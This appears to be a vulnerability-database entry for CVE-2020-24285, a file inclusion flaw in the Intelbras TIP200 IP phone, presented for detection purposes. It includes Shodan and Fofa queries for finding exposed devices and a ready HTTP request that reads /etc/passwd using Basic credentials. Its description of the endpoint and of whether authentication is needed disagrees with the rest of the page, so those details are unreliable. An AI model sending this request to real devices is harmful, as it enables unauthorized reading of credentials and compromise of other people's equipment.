🔙 목록으로 돌아가기

CVE-2020-24285: INTELBRAS TELEFONE IP TIP200 60.61.75.22 - Local File Inclusion

TitleINTELBRAS TELEFONE IP TIP200 60.61.75.22 - Local File Inclusion
Authorritikchaddha
SeverityHigh
ImpactAuthenticated attackers can read arbitrary files from the device including configuration files and credentials, potentially leading to complete device compromise.
RemediationUpdate the device firmware to the latest version provided by INTELBRAS.
CVSS Score7.5
EPSS Score0.13052
CVE IDCVE-2020-24285
CWE IDCWE-200
Shodan Queryhtml:"/cgi-bin/cgiServer.exx"
Fofa Querybody="/cgi-bin/cgiServer.exx"
Tags cve cve2020 intelbras telefone tip200 exposure lfi vuln

🔍 Vulnerability Description

INTELBRAS TELEFONE IP TIP200 version 60.61.75.22 is vulnerable to information disclosure, allowing unauthenticated attackers to access sensitive device information and configuration data via a direct request to the /cgi-bin/export_settings.sh endpoint.

🌐 HTTP Request

GET /cgi-bin/cgiServer.exx?download=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Authorization: Basic UWtiRGJsOlg2MEVmdWd5
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24285.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-24285.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A